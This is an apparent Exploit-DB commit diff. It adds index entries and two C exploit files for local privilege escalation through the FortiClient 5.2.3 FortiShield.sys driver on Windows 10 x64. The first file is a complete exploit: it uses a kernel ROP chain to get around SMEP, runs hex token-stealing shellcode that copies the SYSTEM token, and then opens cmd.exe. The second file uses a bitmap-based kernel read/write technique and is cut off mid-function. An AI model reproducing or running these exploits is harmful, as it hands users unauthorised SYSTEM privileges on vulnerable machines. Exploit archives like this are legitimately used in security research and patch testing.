DB: 2017-03-26
2 new exploits Forticlient 5.2.3 Windows 10 x64 (Pre Anniversary) - Privilege Escalation Forticlient 5.2.3 Windows 10 x64 (Post Anniversary) - Privilege Escalation
This commit is contained in:
parent
570f8aec26
commit
f3bbe1df4c
3 changed files with 757 additions and 0 deletions
|
@ -8885,6 +8885,8 @@ id,file,description,date,author,platform,type,port
|
||||||
41711,platforms/windows/local/41711.rb,"VMware Host Guest Client Redirector - DLL Side Loading (Metasploit)",2016-08-06,Metasploit,windows,local,0
|
41711,platforms/windows/local/41711.rb,"VMware Host Guest Client Redirector - DLL Side Loading (Metasploit)",2016-08-06,Metasploit,windows,local,0
|
||||||
41712,platforms/windows/local/41712.rb,"CADA 3S CoDeSys Gateway Server - Directory Traversal (Metasploit)",2013-02-02,Metasploit,windows,local,0
|
41712,platforms/windows/local/41712.rb,"CADA 3S CoDeSys Gateway Server - Directory Traversal (Metasploit)",2013-02-02,Metasploit,windows,local,0
|
||||||
41713,platforms/windows/local/41713.rb,"MOXA Device Manager Tool 2.1 - Buffer Overflow (Metasploit)",2010-10-20,Metasploit,windows,local,0
|
41713,platforms/windows/local/41713.rb,"MOXA Device Manager Tool 2.1 - Buffer Overflow (Metasploit)",2010-10-20,Metasploit,windows,local,0
|
||||||
|
41721,platforms/windows/local/41721.c,"Forticlient 5.2.3 Windows 10 x64 (Pre Anniversary) - Privilege Escalation",2017-03-25,sickness,windows,local,0
|
||||||
|
41722,platforms/windows/local/41722.c,"Forticlient 5.2.3 Windows 10 x64 (Post Anniversary) - Privilege Escalation",2017-03-25,sickness,windows,local,0
|
||||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
||||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||||
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||||
|
|
Can't render this file because it is too large.
|
204
platforms/windows/local/41721.c
Executable file
204
platforms/windows/local/41721.c
Executable file
|
@ -0,0 +1,204 @@
|
||||||
|
/*
|
||||||
|
Check this out:
|
||||||
|
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
|
||||||
|
Tested on:
|
||||||
|
- Windows 10 Pro x64 (Pre-Anniversary)
|
||||||
|
- hal.dll: 10.0.10240.16384
|
||||||
|
- FortiShield.sys: 5.2.3.633
|
||||||
|
Thanks to master @ryujin and @ronin for helping out.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Psapi.h>
|
||||||
|
|
||||||
|
#pragma comment (lib,"psapi")
|
||||||
|
|
||||||
|
ULONGLONG get_pxe_address_64(ULONGLONG address) {
|
||||||
|
|
||||||
|
ULONGLONG result = address >> 9;
|
||||||
|
result = result | 0xFFFFF68000000000;
|
||||||
|
result = result & 0xFFFFF6FFFFFFFFF8;
|
||||||
|
return result;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID GetBaseAddr(char *drvname) {
|
||||||
|
|
||||||
|
LPVOID drivers[1024];
|
||||||
|
DWORD cbNeeded;
|
||||||
|
int nDrivers, i = 0;
|
||||||
|
|
||||||
|
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
|
||||||
|
|
||||||
|
char szDrivers[1024];
|
||||||
|
nDrivers = cbNeeded / sizeof(drivers[0]);
|
||||||
|
for (i = 0; i < nDrivers; i++) {
|
||||||
|
if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
|
||||||
|
//printf("%s (%p)\n", szDrivers, drivers[i]);
|
||||||
|
if (strcmp(szDrivers, drvname) == 0) {
|
||||||
|
//printf("%s (%p)\n", szDrivers, drivers[i]);
|
||||||
|
return drivers[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD trigger_callback() {
|
||||||
|
|
||||||
|
printf("[+] Creating dummy file\n");
|
||||||
|
system("echo test > test.txt");
|
||||||
|
|
||||||
|
printf("[+] Calling MoveFileEx()\n");
|
||||||
|
BOOL MFEresult;
|
||||||
|
MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
|
||||||
|
if (MFEresult == 0)
|
||||||
|
{
|
||||||
|
printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
|
||||||
|
HANDLE forti;
|
||||||
|
forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||||
|
if (forti == INVALID_HANDLE_VALUE) {
|
||||||
|
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID hal_base = GetBaseAddr("hal.dll");
|
||||||
|
LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");
|
||||||
|
|
||||||
|
ULONGLONG va_pte = get_pxe_address_64(0x0000000048000000);
|
||||||
|
ULONGLONG hal_pivot = (ULONGLONG)hal_base + 0x6bf0;
|
||||||
|
ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
|
||||||
|
ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;
|
||||||
|
|
||||||
|
printf("[+] HAL.dll found at: %llx\n", (ULONGLONG)hal_base);
|
||||||
|
printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);
|
||||||
|
printf("[+] PTE virtual address at: %llx\n", va_pte);
|
||||||
|
|
||||||
|
DWORD IoControlCode = 0x220028;
|
||||||
|
ULONGLONG InputBuffer = hal_pivot;
|
||||||
|
DWORD InputBufferLength = 0x8;
|
||||||
|
ULONGLONG OutputBuffer = 0x0;
|
||||||
|
DWORD OutputBufferLength = 0x0;
|
||||||
|
DWORD lpBytesReturned;
|
||||||
|
|
||||||
|
HANDLE pid;
|
||||||
|
pid = GetCurrentProcess();
|
||||||
|
ULONGLONG allocate_address = 0x0000000047FF016F;
|
||||||
|
LPVOID allocate_shellcode;
|
||||||
|
allocate_shellcode = VirtualAlloc((LPVOID*)allocate_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
if (allocate_shellcode == NULL) {
|
||||||
|
printf("[!] Error while allocating shellcode: %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
char *shellcode;
|
||||||
|
DWORD shellcode_size = 0x12000;
|
||||||
|
ULONGLONG rop_01 = (ULONGLONG)hal_base + 0x668e; // pop rdx; ret
|
||||||
|
ULONGLONG rop_02 = 0x0000000000000063; // DIRTY + ACCESSED + R/W + PRESENT
|
||||||
|
ULONGLONG rop_03 = (ULONGLONG)hal_base + 0x987e; // pop rax; ret
|
||||||
|
ULONGLONG rop_04 = va_pte;
|
||||||
|
ULONGLONG rop_05 = (ULONGLONG)hal_base + 0xe2cc; // mov byte ptr [rax], dl; ret
|
||||||
|
ULONGLONG rop_06 = (ULONGLONG)hal_base + 0x15a50; // wbinvd; ret
|
||||||
|
ULONGLONG rop_07 = allocate_address + 0x10040;
|
||||||
|
ULONGLONG rop_08 = fortishield_callback;
|
||||||
|
ULONGLONG rop_09 = fortishield_restore;
|
||||||
|
|
||||||
|
//;kd> dt -r1 nt!_TEB
|
||||||
|
//; +0x110 SystemReserved1 : [54] Ptr64 Void
|
||||||
|
//;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
|
||||||
|
//kd> u nt!PsGetCurrentProcess
|
||||||
|
//nt!PsGetCurrentProcess:
|
||||||
|
//mov rax,qword ptr gs:[188h]
|
||||||
|
//mov rax,qword ptr [rax+0B8h]
|
||||||
|
|
||||||
|
// TOKEN STEALING & RESTORE
|
||||||
|
// start:
|
||||||
|
// mov rdx, [gs:0x188]
|
||||||
|
// mov r8, [rdx+0x0b8]
|
||||||
|
// mov r9, [r8+0x2f0]
|
||||||
|
// mov rcx, [r9]
|
||||||
|
// find_system_proc:
|
||||||
|
// mov rdx, [rcx-0x8]
|
||||||
|
// cmp rdx, 4
|
||||||
|
// jz found_it
|
||||||
|
// mov rcx, [rcx]
|
||||||
|
// cmp rcx, r9
|
||||||
|
// jnz find_system_proc
|
||||||
|
// found_it:
|
||||||
|
// mov rax, [rcx+0x68]
|
||||||
|
// and al, 0x0f0
|
||||||
|
// mov [r8+0x358], rax
|
||||||
|
// restore:
|
||||||
|
// mov rbp, qword ptr [rsp+0x80]
|
||||||
|
// xor rbx, rbx
|
||||||
|
// mov [rbp], rbx
|
||||||
|
// mov rbp, qword ptr [rsp+0x88]
|
||||||
|
// mov rax, rsi
|
||||||
|
// mov rsp, rax
|
||||||
|
// sub rsp, 0x20
|
||||||
|
// jmp rbp
|
||||||
|
|
||||||
|
char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
|
||||||
|
"\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
|
||||||
|
"\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
|
||||||
|
"\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
|
||||||
|
"\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
|
||||||
|
"\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
|
||||||
|
"\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";
|
||||||
|
|
||||||
|
shellcode = (char *)malloc(shellcode_size);
|
||||||
|
memset(shellcode, 0x41, shellcode_size);
|
||||||
|
memcpy(shellcode + 0x10008, &rop_01, 0x08);
|
||||||
|
memcpy(shellcode + 0x10010, &rop_02, 0x08);
|
||||||
|
memcpy(shellcode + 0x10018, &rop_03, 0x08);
|
||||||
|
memcpy(shellcode + 0x10020, &rop_04, 0x08);
|
||||||
|
memcpy(shellcode + 0x10028, &rop_05, 0x08);
|
||||||
|
memcpy(shellcode + 0x10030, &rop_06, 0x08);
|
||||||
|
memcpy(shellcode + 0x10038, &rop_07, 0x08);
|
||||||
|
memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));
|
||||||
|
memcpy(shellcode + 0x100C0, &rop_08, 0x08);
|
||||||
|
memcpy(shellcode + 0x100C8, &rop_09, 0x08);
|
||||||
|
|
||||||
|
BOOL WPMresult;
|
||||||
|
SIZE_T written;
|
||||||
|
WPMresult = WriteProcessMemory(pid, (LPVOID)allocate_address, shellcode, shellcode_size, &written);
|
||||||
|
if (WPMresult == 0)
|
||||||
|
{
|
||||||
|
printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE hThread;
|
||||||
|
LPDWORD hThread_id = 0;
|
||||||
|
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, 0, hThread_id);
|
||||||
|
if (hThread == NULL)
|
||||||
|
{
|
||||||
|
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL hThread_priority;
|
||||||
|
hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
|
||||||
|
if (hThread_priority == 0)
|
||||||
|
{
|
||||||
|
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL triggerIOCTL;
|
||||||
|
triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
|
||||||
|
WaitForSingleObject(hThread, INFINITE);
|
||||||
|
|
||||||
|
system("start cmd.exe");
|
||||||
|
return 0;
|
||||||
|
}
|
551
platforms/windows/local/41722.c
Executable file
551
platforms/windows/local/41722.c
Executable file
|
@ -0,0 +1,551 @@
|
||||||
|
/*
|
||||||
|
Check these out:
|
||||||
|
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
|
||||||
|
- https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/
|
||||||
|
Tested on:
|
||||||
|
- Windows 10 Pro x64 (Post-Anniversary)
|
||||||
|
- hal.dll: 10.0.10240.16384
|
||||||
|
- FortiShield.sys: 5.2.3.633
|
||||||
|
Thanks to master @ryujin and @ronin for helping out. And thanks to Morten (@Blomster81) for the MiGetPteAddress :D
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Psapi.h>
|
||||||
|
|
||||||
|
#pragma comment (lib,"psapi")
|
||||||
|
#pragma comment(lib, "gdi32.lib")
|
||||||
|
#pragma comment(lib, "User32.lib")
|
||||||
|
|
||||||
|
#define object_number 0x02
|
||||||
|
#define accel_array_size 0x2b6
|
||||||
|
#define STATUS_SUCCESS 0x00000000
|
||||||
|
|
||||||
|
typedef void** PPVOID;
|
||||||
|
|
||||||
|
typedef struct _tagSERVERINFO {
|
||||||
|
UINT64 pad;
|
||||||
|
UINT64 cbHandleEntries;
|
||||||
|
} SERVERINFO, *PSERVERINFO;
|
||||||
|
|
||||||
|
typedef struct _HANDLEENTRY {
|
||||||
|
PVOID pHeader; // Pointer to the Object
|
||||||
|
PVOID pOwner; // PTI or PPI
|
||||||
|
UCHAR bType; // Object handle type
|
||||||
|
UCHAR bFlags; // Flags
|
||||||
|
USHORT wUniq; // Access count
|
||||||
|
} HANDLEENTRY, *PHANDLEENTRY;
|
||||||
|
|
||||||
|
typedef struct _SHAREDINFO {
|
||||||
|
PSERVERINFO psi;
|
||||||
|
PHANDLEENTRY aheList;
|
||||||
|
} SHAREDINFO, *PSHAREDINFO;
|
||||||
|
|
||||||
|
ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) {
|
||||||
|
ULONGLONG result = address >> 9;
|
||||||
|
result = result | pte_start;
|
||||||
|
result = result & (pte_start + 0x0000007ffffffff8);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE ntdll;
|
||||||
|
HMODULE user32dll;
|
||||||
|
|
||||||
|
struct bitmap_structure {
|
||||||
|
HBITMAP manager_bitmap;
|
||||||
|
HBITMAP worker_bitmap;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct bitmap_structure create_bitmaps(HACCEL hAccel[object_number]) {
|
||||||
|
struct bitmap_structure bitmaps;
|
||||||
|
char *manager_bitmap_memory;
|
||||||
|
char *worker_bitmap_memory;
|
||||||
|
HBITMAP manager_bitmap;
|
||||||
|
HBITMAP worker_bitmap;
|
||||||
|
int nWidth = 0x700;
|
||||||
|
int nHeight = 2;
|
||||||
|
unsigned int cPlanes = 1;
|
||||||
|
unsigned int cBitsPerPel = 8;
|
||||||
|
const void *manager_lpvBits;
|
||||||
|
const void *worker_lpvBits;
|
||||||
|
|
||||||
|
manager_bitmap_memory = malloc(nWidth * nHeight);
|
||||||
|
memset(manager_bitmap_memory, 0x00, sizeof(manager_bitmap_memory));
|
||||||
|
manager_lpvBits = manager_bitmap_memory;
|
||||||
|
|
||||||
|
worker_bitmap_memory = malloc(nWidth * nHeight);
|
||||||
|
memset(worker_bitmap_memory, 0x00, sizeof(worker_bitmap_memory));
|
||||||
|
worker_lpvBits = worker_bitmap_memory;
|
||||||
|
|
||||||
|
BOOL destroy_table;
|
||||||
|
destroy_table = DestroyAcceleratorTable(hAccel[0]);
|
||||||
|
if (destroy_table == 0) {
|
||||||
|
printf("[!] Failed to delete accelerator table[0]: %d\n", GetLastError());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
manager_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, manager_lpvBits);
|
||||||
|
if (manager_bitmap == NULL) {
|
||||||
|
printf("[!] Failed to create BitMap object: %d\n", GetLastError());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
printf("[+] Manager BitMap HANDLE: %I64x\n", (ULONGLONG)manager_bitmap);
|
||||||
|
|
||||||
|
destroy_table = DestroyAcceleratorTable(hAccel[1]);
|
||||||
|
if (destroy_table == 0) {
|
||||||
|
printf("[!] Failed to delete accelerator table[1]: %d\n", GetLastError());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
worker_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, worker_lpvBits);
|
||||||
|
if (worker_bitmap == NULL) {
|
||||||
|
printf("[!] Failed to create BitMap object: %d\n", GetLastError());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
printf("[+] Worker BitMap HANDLE: %I64x\n", (ULONGLONG)worker_bitmap);
|
||||||
|
|
||||||
|
bitmaps.manager_bitmap = manager_bitmap;
|
||||||
|
bitmaps.worker_bitmap = worker_bitmap;
|
||||||
|
return bitmaps;
|
||||||
|
}
|
||||||
|
|
||||||
|
PHANDLEENTRY leak_table_kernel_address(HMODULE user32dll, HACCEL hAccel[object_number], PHANDLEENTRY handle_entry[object_number]) {
|
||||||
|
int i;
|
||||||
|
PSHAREDINFO gSharedInfo;
|
||||||
|
ULONGLONG aheList;
|
||||||
|
DWORD handle_entry_size = 0x18;
|
||||||
|
|
||||||
|
gSharedInfo = (PSHAREDINFO)GetProcAddress(user32dll, (LPCSTR)"gSharedInfo");
|
||||||
|
if (gSharedInfo == NULL) {
|
||||||
|
printf("[!] Error while retrieving gSharedInfo: %d.\n", GetLastError());
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
aheList = (ULONGLONG)gSharedInfo->aheList;
|
||||||
|
printf("[+] USER32!gSharedInfo located at: %I64x\n", (ULONGLONG)gSharedInfo);
|
||||||
|
printf("[+] USER32!gSharedInfo->aheList located at: %I64x\n", (ULONGLONG)aheList);
|
||||||
|
for (i = 0; i < object_number; i++) {
|
||||||
|
handle_entry[i] = (PHANDLEENTRY)(aheList + ((ULONGLONG)hAccel[i] & 0xffff) * handle_entry_size);
|
||||||
|
}
|
||||||
|
return *handle_entry;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONGLONG write_bitmap(HBITMAP bitmap_handle, ULONGLONG to_write) {
|
||||||
|
ULONGLONG write_operation;
|
||||||
|
write_operation = SetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_write);
|
||||||
|
if (write_operation == 0) {
|
||||||
|
printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONGLONG read_bitmap(HBITMAP bitmap_handle) {
|
||||||
|
ULONGLONG read_operation;
|
||||||
|
ULONGLONG to_read;
|
||||||
|
read_operation = GetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_read);
|
||||||
|
if (read_operation == 0) {
|
||||||
|
printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
return to_read;
|
||||||
|
}
|
||||||
|
|
||||||
|
HACCEL create_accelerator_table(HACCEL hAccel[object_number], int table_number) {
|
||||||
|
int i;
|
||||||
|
table_number = object_number;
|
||||||
|
ACCEL accel_array[accel_array_size];
|
||||||
|
LPACCEL lpAccel = accel_array;
|
||||||
|
|
||||||
|
printf("[+] Creating %d Accelerator Tables\n", table_number);
|
||||||
|
for (i = 0; i < table_number; i++) {
|
||||||
|
hAccel[i] = CreateAcceleratorTableA(lpAccel, accel_array_size);
|
||||||
|
if (hAccel[i] == NULL) {
|
||||||
|
printf("[!] Error while creating the accelerator table: %d.\n", GetLastError());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return *hAccel;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID allocate_rop_chain(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG manager_pvScan_offset, ULONGLONG worker_pvScan_offset) {
|
||||||
|
HANDLE pid;
|
||||||
|
pid = GetCurrentProcess();
|
||||||
|
ULONGLONG rop_chain_address = 0x0000000048ff07da;
|
||||||
|
LPVOID allocate_rop_chain;
|
||||||
|
allocate_rop_chain = VirtualAlloc((LPVOID*)rop_chain_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
if (allocate_rop_chain == NULL) {
|
||||||
|
printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* <Null callback> */
|
||||||
|
ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x146cdf; // pop rax; pop rcx; ret
|
||||||
|
ULONGLONG rop_02 = fortishield_callback;
|
||||||
|
ULONGLONG rop_03 = 0x0000000000000000; // NULL the callback
|
||||||
|
ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0xed9c1; // mov qword ptr [rax], rcx ; ret
|
||||||
|
/* </Null callback> */
|
||||||
|
|
||||||
|
/* <Overwrite pvScan0> */
|
||||||
|
ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0x146cdf; // pop rax; pop rcx; ret
|
||||||
|
ULONGLONG rop_06 = (ULONGLONG)manager_pvScan_offset; // Manager BitMap pvScan0 offset
|
||||||
|
ULONGLONG rop_07 = (ULONGLONG)worker_pvScan_offset; // Worker BitMap pvScan0 offset
|
||||||
|
ULONGLONG rop_08 = (ULONGLONG)kernel_base + 0xed9c1; // mov qword ptr [rax], rcx ; ret
|
||||||
|
/* </Overwrite pvScan0> */
|
||||||
|
|
||||||
|
/* <Prepare RBX (to write the orignial stack pointer to> */
|
||||||
|
ULONGLONG rop_09 = (ULONGLONG)kernel_base + 0x155a; // pop rbx ; ret
|
||||||
|
ULONGLONG rop_10 = 0x000000004900007b;
|
||||||
|
/* </Prepare RBX (to write the orignial stack pointer to> */
|
||||||
|
|
||||||
|
/* <Get RSI value (points to the original stack) into RAX> */
|
||||||
|
ULONGLONG rop_11 = (ULONGLONG)kernel_base + 0x4551; // pop rax ; ret
|
||||||
|
ULONGLONG rop_12 = (ULONGLONG)kernel_base + 0x12eef4; // mov rax, rcx ; add rsp, 0x28 ; ret
|
||||||
|
ULONGLONG rop_13 = (ULONGLONG)kernel_base + 0x3dc8f; // mov rcx, rsi ; call rax
|
||||||
|
ULONGLONG rop_14 = 0x4141414141414141; // JUNK
|
||||||
|
ULONGLONG rop_15 = 0x4141414141414141; // JUNK
|
||||||
|
ULONGLONG rop_16 = 0x4141414141414141; // JUNK
|
||||||
|
ULONGLONG rop_17 = 0x4141414141414141; // JUNK
|
||||||
|
/* </Get RSI value (points to the original stack) into RAX> */
|
||||||
|
|
||||||
|
/* <Adjust RAX to point to the return address pushed by the call> */
|
||||||
|
ULONGLONG rop_18 = (ULONGLONG)kernel_base + 0xe37a; // pop rcx ; ret
|
||||||
|
ULONGLONG rop_19 = 0x0000000000000028; // Get the return address
|
||||||
|
ULONGLONG rop_20 = (ULONGLONG)kernel_base + 0x24752; // sub rax, rcx ; ret
|
||||||
|
/* </Adjust RAX to point to the return address pushed by the call> */
|
||||||
|
|
||||||
|
/* <Overwrite the return from the call with fortishield_restore> */
|
||||||
|
ULONGLONG rop_21 = (ULONGLONG)kernel_base + 0xe37a; // pop rcx ; ret
|
||||||
|
ULONGLONG rop_22 = fortishield_restore;
|
||||||
|
ULONGLONG rop_23 = (ULONGLONG)kernel_base + 0xed9c1; // mov qword ptr [rax], rcx ; ret
|
||||||
|
/* </Overwrite the return from the call with fortishield_restore> */
|
||||||
|
|
||||||
|
/* <Write the original stack pointer on our usermode_stack> */
|
||||||
|
ULONGLONG rop_24 = (ULONGLONG)kernel_base + 0x400b2a; // mov qword ptr [rbx + 0x10], rax ; add rsp, 0x20 ; pop rbx ; ret
|
||||||
|
ULONGLONG rop_25 = 0x4141414141414141; // JUNK
|
||||||
|
ULONGLONG rop_26 = 0x4141414141414141; // JUNK
|
||||||
|
ULONGLONG rop_27 = 0x4141414141414141; // JUNK
|
||||||
|
ULONGLONG rop_28 = 0x4141414141414141; // JUNK
|
||||||
|
ULONGLONG rop_29 = 0x0000000000000000; // Value to be POP'ed in RBX, needs to be 0x00 at the end for restore
|
||||||
|
/* </Write the original stack pointer on our usermode_stack> */
|
||||||
|
|
||||||
|
/* <Restore stack pointer> */
|
||||||
|
ULONGLONG rop_30 = (ULONGLONG)kernel_base + 0x33b4; // pop rsp ; ret
|
||||||
|
/* </Restore stack pointer> */
|
||||||
|
|
||||||
|
char *rop_chain;
|
||||||
|
DWORD rop_chain_size = 0x12000;
|
||||||
|
rop_chain = (char *)malloc(rop_chain_size);
|
||||||
|
memset(rop_chain, 0x00, rop_chain_size);
|
||||||
|
memcpy(rop_chain + 0xf7c1, &rop_01, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf7c9, &rop_02, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf7d1, &rop_03, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf7d9, &rop_04, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf7e1, &rop_05, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf7e9, &rop_06, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf7f1, &rop_07, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf7f9, &rop_08, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf801, &rop_09, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf809, &rop_10, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf811, &rop_11, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf819, &rop_12, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf821, &rop_13, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf829, &rop_14, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf831, &rop_15, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf839, &rop_16, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf841, &rop_17, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf849, &rop_18, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf851, &rop_19, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf859, &rop_20, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf861, &rop_21, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf869, &rop_22, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf871, &rop_23, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf879, &rop_24, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf881, &rop_25, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf889, &rop_26, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf891, &rop_27, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf899, &rop_28, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf8a1, &rop_29, 0x08);
|
||||||
|
memcpy(rop_chain + 0xf8a9, &rop_30, 0x08);
|
||||||
|
|
||||||
|
BOOL WPMresult;
|
||||||
|
SIZE_T written;
|
||||||
|
WPMresult = WriteProcessMemory(pid, (LPVOID)rop_chain_address, rop_chain, rop_chain_size, &written);
|
||||||
|
if (WPMresult == 0)
|
||||||
|
{
|
||||||
|
printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
printf("[+] Memory allocated at: %p\n", allocate_rop_chain);
|
||||||
|
return allocate_rop_chain;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID allocate_shellcode(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result) {
|
||||||
|
HANDLE pid;
|
||||||
|
pid = GetCurrentProcess();
|
||||||
|
ULONGLONG shellcode_address = 0x0000000048ff07da;
|
||||||
|
LPVOID allocate_shellcode;
|
||||||
|
allocate_shellcode = VirtualAlloc((LPVOID*)shellcode_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
if (allocate_shellcode == NULL) {
|
||||||
|
printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* <Overwrite PTE> */
|
||||||
|
ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x146cdf; // pop rax; pop rcx; ret
|
||||||
|
ULONGLONG rop_02 = (ULONGLONG)pte_result; // PTE address
|
||||||
|
